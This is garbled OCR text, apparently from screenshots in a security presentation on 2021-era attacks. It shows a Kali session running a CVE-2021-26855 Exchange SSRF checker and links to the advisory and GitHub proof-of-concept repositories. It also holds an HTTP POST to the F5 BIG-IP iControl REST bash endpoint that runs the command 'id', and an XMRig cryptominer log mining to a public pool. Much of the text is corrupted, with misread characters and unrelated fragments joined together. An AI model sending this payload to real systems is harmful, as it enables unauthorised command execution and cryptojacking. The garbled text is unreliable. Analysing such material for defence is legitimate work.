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root@kali: , VE-2021-: : A t # python3 CVE-2021-26855.py -u https://
# Checker for CVE-2021-26855: Exchange Server SSRF Vulnerability

# Coded by Abdullah AlZahrani https://Github.com/@xAbdullah

[*1 You set taraet to https://
[ ] Not vulnerable'

/CVE_test_fo /CVE-2021-26855(ALL)/srvaccount-PoC# go run CVE-2021-26855-PoC.ge -h
[etect1on of the exis tence of u1nerab111t1eq .

ulnerab1l1tu does nc
L t-Poc# i

A dwisiswants Y nscan# nroxvlooscan -u htins://
(509: cannot “a] date cert f Lcate for
AW 15 15wWa -1 : G|

because it doesn't contain any IP SANs
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4. https://msrc-blog.microsoft.com/2021/03/02/multiple-
security-updates-released-for-exchange-server/
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6. https://github.com/search?q=CVE-2021-26855

7. https://github.com/OxAbdullah/CVE-2021-26855
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R0 #$9.8 - W[ERFEZIBIG-IPFIBIG-1Q -

REE D RN EE R 2B BNl HEFEEliControl REST &3
T E - BIOR AR/ mgmt/tm/util/bash fERINERIEARL - 31X
HTTP POSTZ 45 ERIISON HEfizcommand & CmdArgsBl el s I 1T
TEE<S -

B A

Connection: close
Content-Length: 47

Cache-Control: max-age=8
Authorization: Basic YWRtawWdeQwNhclM=

X-F5-Auth-Token: s
e Json FE s a4
i

Upgrade-Insecure-Requests: 1

Content-Type: application/json

{"command”:"run”,"utilCmdArgs™:"-c id"}
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Update README.md
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ABOUT XMRig/2.14.1 clang/10.0.0
LIBS libuv/1.27.0 OpenSSL/1.0.2r microhttpd/0.9.62
CPU Intel(R) Core(TM) i7-47706HQ CPU @ 2.20GHz (1)
CPU L2/L3 1.6 MB/6.6 MB
THREADS 3, cryptonight, av=0, donate=5%
ASSEMBLY auto:
POOL #1 pool.hashvault.pro:3333 variant auto
COMMANDS ashrate, pause, resume
[2019-04-01 12:07:26] use pool pool.hashvault.pro:3333
[2019-04-01 12:07:26] from pool.hashvault.pro:3333 diff 5000 algo cn/r height 1803431
[2019-04-01 12:07:27] threads 3(3) huge pages memory 6144 KB
[2019-04-01 12:07:48] (1/0) diff 5eee
[2019-04-01 12:08:22] (2/0) diff 5eee
[2019-04-01 12:08:28] speed 10s/60s/15m 84.8 98.0 n/a H/s max 101.8 H/s
[2019-04-01 12:09:20] from pool.hashvault.pro:3333 diff 5000 algo cn/r height 1803432
[2019-04-01 12:09:28] speed 10s/60s/15m 1006.9 161.0 n/a H/s max 182.8 H/s
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